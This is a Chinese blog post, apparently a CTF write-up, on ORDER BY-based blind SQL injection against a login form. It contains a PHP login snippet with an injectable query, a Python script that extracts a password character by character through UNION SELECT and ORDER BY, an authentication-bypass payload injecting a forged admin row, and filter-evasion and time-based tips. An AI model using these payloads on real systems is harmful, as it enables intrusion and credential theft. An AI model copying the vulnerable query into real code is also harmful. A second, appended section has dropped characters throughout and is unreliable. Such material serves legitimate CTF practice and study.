sql order by 大小比较盲注

本文深入探讨了SQL注入攻击原理,通过实例演示如何利用场景判断用户名和密码,详细讲解了使用orderby猜测密码值的方法,并提供了通用脚本及绕过技巧。

利用场景,先判断用户名再判断密码

 $sql="SELECT * FROM admin WHERE username='".$username."'";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if(isset($row) && $row['username'] === 'admin'){
        if ($row['password']===md5($password)){
            echo "Login successful";
        }else{
            die("password error!");
        }
    }else{
        die("username error!");
    }

有如下表
在这里插入图片描述
我们尝试用order by去猜测password的值
在这里插入图片描述
这里很明显能看出来,当用联合查询出来的password值是1和2时,最终选择出来的就是1,2(挑选出来第一行),页面会显示用户名错误,当为3时则选择出来的是真正的用户名admin,这时显示的是密码错误,这样我们就可以根据回显一位一位的猜解password的值。
给出一个通用的脚本,大家可以根据过滤情况进行修改。

s = '0123456789:abcdefghijklmnopqrstuvwxyz{'
password=''
for i in range(50):
    for j in s:
        l=password+j
        data={
            'username':"'or 1 union select 1,'"+l+"' order by 2#",
            'password':''
            }
        r=requests.post(url,data=data)
        if "wrong pass!" in r.text:
            password+=chr(ord(j)-1)
            print(password)
            break

当然还有一个小技巧绕过

因为源码中要判断输入的密码的md5值与查询出来的密码是否一致。
这里直接构造
payload:username=' union select 'admin','c81e728d9d4c2f636f067f89cc14862c' #&password=123
其中c81e728d9d4c2f636f067f89cc14862c为123的md5值

大家可以参考 GXYCTF2019-BabySQli 进行练习。

SQL入测试中,使用 `ORDER BY 1` 导致返回400错误,通常与请求格式、参数解析或后端逻辑处理有关,而非数据库执行层面的错误。以下是可能的原因及对应的解决方法: ### 原因分析 1. **请求参数格式不正确** 若入点位于URL参数中,例如 `?sort=1`,而测试者直接输入 `ORDER BY 1`,可能导致参数值不符合预期格式,从而触发400错误。这是因为服务器端可能期望一个整数,而非SQL语句片段。 2. **参数未正确编码** 在URL中直接使用特殊字符(如空格、`=`、`ORDER BY` 等)未进行URL编码,可能被服务器解析为非法请求,从而返回400错误。[^2] 3. **后端逻辑提前拦截请求** 某些Web框架或中间件在接收到非预期参数时,会在到达数据库层之前直接返回400错误,例如参数类型校验失败或路由匹配失败。 4. **输入被过滤或转义** 若存在基本的输入过滤机制(如黑名单、正则匹配),可能导致 `ORDER BY` 被识别为非法内容并被拒绝处理。 --- ### 解决方法 1. **使用数字代替完整SQL片段** 若入点为数字型参数(如 `ORDER BY $id`),直接传递数字(如 `?sort=1`)即可测试排序逻辑,无需入完整SQL语句。[^2] 2. **进行URL编码** 对入内容进行URL编码,例如将空格替换为 `%20`,将 `ORDER BY 1` 编码为 `ORDER%20BY%201`,确保请求能正确传递到后端处理逻辑。 3. **尝试技术** 若无法直接观察数据库响应,可使用时间(如 `ORDER BY IF(1=1, SLEEP(5), 1)`)探测后端逻辑是否执行了入语句。 4. **绕过简单过滤机制** 若存在关键字过滤,可以尝试使用大小写混合、释符绕过(如 `OrDer%20bY 1` 或 `ORDER/**/BY 1`)等方式进行测试。 5. **结合其他入技术** 若 `ORDER BY` 入受限,可尝试结合 `UNION SELECT` 或布尔技术,通过其他方式获取数据库信息。 --- ### 示例:URL编码后的入请求 ```http GET /example?sort=ORDER%20BY%201 ``` 若后端未严格过滤,该请求可能触发数据库排序逻辑,从而验证入点是否存在。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值